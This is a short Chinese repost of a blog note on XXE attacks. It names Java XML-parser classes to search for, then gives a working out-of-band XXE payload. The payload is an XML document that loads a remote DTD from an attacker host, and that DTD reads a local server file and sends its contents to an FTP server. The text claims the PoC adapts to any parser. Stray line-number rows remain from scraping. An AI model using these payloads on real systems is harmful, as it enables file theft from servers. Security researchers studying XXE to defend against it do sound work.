XXE的各种利用

【转】http://www.freebuf.com/articles/web/97833.html

1 2 3 4 5 6 7

//解析xml关键字： DocumentBuilderFactory DocumentHelper SAXParserFactory SAXBuilder SAXReader unmarshal

使用 FTP 协议，攻击者可以读取到任意长度的文件。

1 2 3 4 5

<? xml  version = "1.0" ?><!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd"> %remote; %send; ]>< data >4</ data >

文件位于：http://publicServer.com/parameterEntity_sendftp.dtd

1 2 3

<!ENTITY % payload SYSTEM "file:///sys/power/image_size"> <!ENTITY % param1 "<!ENTITY &#x25; send SYSTEM 'ftp://publicServer.com/%payload;'>"> %param1;

这种攻击需要配置 FTP 服务器。不过，这个 POC 代码只需要稍作调整即可用于任意的解析器上。

本文转自fatshi51CTO博客，原文链接：http://blog.51cto.com/duallay/1944264 ，如需转载请自行联系原作者